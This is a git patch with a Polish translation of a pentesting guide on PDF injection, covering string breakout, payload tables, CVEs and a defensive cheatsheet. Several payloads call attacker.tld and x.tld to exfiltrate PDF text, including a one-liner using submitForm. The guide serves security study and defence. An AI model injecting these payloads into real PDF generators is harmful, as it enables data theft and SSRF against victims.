From 727d2177eb16302358fdf4e781da7981f6286b96 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 4 Aug 2025 18:13:43 +0000 Subject: [PATCH] Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m --- .../xss-cross-site-scripting/pdf-injection.md | 58 +++++++++++++++++-- 1 file changed, 53 insertions(+), 5 deletions(-) diff --git a/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md b/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md index a6fbb45ce..86427c2db 100644 --- a/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md +++ b/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md @@ -1,7 +1,55 @@ -{{#include ../../banners/hacktricks-training.md}} - -**Jeśli twój input jest odzwierciedlany w pliku PDF, możesz spróbować wstrzyknąć dane PDF, aby wykonać JavaScript lub ukraść zawartość PDF.** - -Sprawdź post: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration) +# PDF Injection {{#include ../../banners/hacktricks-training.md}} + +**Jeśli twój input jest odzwierciedlany w pliku PDF, możesz spróbować wstrzyknąć dane PDF, aby wykonać JavaScript, przeprowadzić SSRF lub ukraść zawartość PDF.** +Składnia PDF jest niezwykle elastyczna – jeśli możesz wydostać się z ciągu lub słownika, który osadza twój input, możesz dodać całkowicie nowe obiekty (lub nowe klucze w tym samym obiekcie), które Acrobat/Chrome chętnie zanalizuje. +Od 2024 roku fala raportów o bug-bounty pokazała, że *jedna nieucieczona nawias lub ukośnik jest wystarczająca* do pełnego wykonania skryptu. + +## TL;DR – Nowoczesny Workflow Ataku (2024) +1. Znajdź dowolną wartość kontrolowaną przez użytkownika, która trafia do **(ciągu nawiasowego)**, `/URI ( … )` lub `/JS ( … )` w wygenerowanym PDF. +2. Wstrzyknij `) ` (zamykając ciąg) po którym następuje jeden z poniższych prymitywów i zakończ kolejnym otwierającym nawiasem, aby zachować poprawność składni. +3. Dostarcz złośliwy plik PDF do ofiary (lub do usługi backendowej, która automatycznie renderuje plik – świetne dla ślepych błędów). +4. Twój ładunek działa w przeglądarce PDF: +* Chrome / Edge → PDFium Sandbox +* Firefox → PDF.js (zobacz CVE-2024-4367) +* Acrobat → Pełne API JavaScript (może wyeksportować dowolne zawartości plików za pomocą `this.getPageNthWord`) + +Przykład (przechwycenie linku adnotacji): +```pdf +(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next ( +``` +*Pierwszy `)` zamyka oryginalny ciąg URI, następnie dodajemy nowy **słownik Akcji**, który Acrobat wykona, gdy użytkownik kliknie link.* + +## Przydatne Prymitywy Wstrzykiwania +| Cel | Fragment Ładunku | Uwagi | +|------|-----------------|-------| +| **JavaScript przy otwarciu** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Wykonywane natychmiast po otwarciu dokumentu (działa w Acrobat, nie w Chrome). | +| **JavaScript przy linku** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Działa w PDFium i Acrobat, jeśli kontrolujesz adnotację `/Link`. | +| **Ślepe wyciek danych** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Połącz z `this.getPageNthWord` wewnątrz JS, aby ukraść treść. | +| **Server-Side SSRF** | To samo co powyżej, ale celuj w wewnętrzny URL – świetne, gdy PDF jest renderowany przez usługi back-office, które honorują `/URI`. | +| **Złamanie linii dla nowych obiektów** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Jeśli biblioteka pozwala na wstrzykiwanie znaków nowej linii, możesz tworzyć zupełnie nowe obiekty. | + +## Sztuczka Ślepej Enumeracji +Gareth Heyes (PortSwigger) opublikował jedną linię kodu, która enumeruje każdy obiekt w nieznanym dokumencie – przydatne, gdy nie możesz zobaczyć wygenerowanego PDF: +```pdf +) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> ( +``` +Kod iteruje po DOM Acrobat i wykonuje zewnętrzne żądania dla każdej pary właściwość/wartość, dając ci *JSON-owy* zrzut pliku. Zobacz dokument "Portable Data **ex**Filtration" dla pełnej techniki. + +## Real-World Bugs (2023-2025) +* **CVE-2024-4367** – Dowolne wykonanie JavaScript w PDF.js Firefoxa przed 4.2.67 omijało piaskownicę za pomocą spreparowanej akcji `/JavaScript`. +* **Bug bounty 2024-05** – Główny fintech pozwolił na notatki faktur dostarczane przez klientów, które trafiły do `/URI`; raport zapłacono 10 tys. dolarów po wykazaniu SSRF do wewnętrznego hosta metadanych za pomocą URI `file:///`. +* **CVE-2023-26155** – `node-qpdf` wstrzyknięcie polecenia przez niesanitowaną ścieżkę PDF pokazuje znaczenie ucieczki ukośników i nawiasów nawet *przed* warstwą PDF. + +## Defensive Cheatsheet +1. **Nigdy nie łącz surowego wejścia użytkownika** wewnątrz `(`…`)` ciągów lub nazw. Użyj ucieczki `\`, `(`, `)` zgodnie z §7.3 specyfikacji PDF lub użyj ciągów szesnastkowych `<...>`. +2. Jeśli tworzysz linki, preferuj `/URI (https://…)`, które *w pełni* kodujesz URL; blokuj schematy `javascript:` w klientach. +3. Usuń lub zwaliduj słowniki `/OpenAction`, `/AA` (dodatkowe akcje), `/Launch`, `/SubmitForm` i `/ImportData` podczas przetwarzania PDF. +4. Po stronie serwera renderuj nieufne PDF-y za pomocą *konwertera bezgłowego* (np. qpdf –decrypt –linearize), który usuwa JavaScript i zewnętrzne akcje. +5. Utrzymuj przeglądarki PDF w aktualizacji; PDF.js < 4.2.67 i Acrobat Reader przed lipcem 2024 pozwalają na trywialne wykonanie kodu. + +## References +* Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (zaktualizowane maj 2024). +* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (kwiecień 2024). +{{#include ../../banners/hacktricks-training.md}}